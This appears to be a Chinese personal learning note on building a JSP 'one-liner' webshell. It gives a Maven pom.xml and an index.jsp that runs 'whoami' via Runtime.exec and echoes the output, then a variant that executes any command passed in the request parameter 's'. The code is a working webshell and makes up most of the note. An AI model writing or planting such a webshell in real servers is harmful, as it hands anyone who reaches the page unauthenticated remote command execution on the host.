1.jsp一句话
最近在学习java web。。。
配置
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled5</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Archetype - untitled5</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>
如果没有3.1.0的依赖项
去打开模块设置->库
点＋号，来自maven
搜索javax.servlet
index.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %><%--
Created by IntelliJ IDEA.
User: MuRKuo
Date: 2022/9/22
Time: 0:01
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
Process process = Runtime.getRuntime().exec("whoami");//此时没有回显
//System.out.println("123");//在terminal中输出了
InputStream is = process.getInputStream();//获取返回的数据流
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));//将数据流保存到buff中
String line ;//初始化变量
while( (line = bufferedReader.readLine()) !=null )//将buff中的内容保存到line变量里,判断回显内容是否是空
{
response.getWriter().println(line); //通过response将获取到的值打印出来
}
%>
</body>
</html>
通过请求传参
Process process = Runtime.getRuntime().exec(request.getParameter("s"));
此时不带参数访问会导致500错误，因为参数没有传值
带上参数请求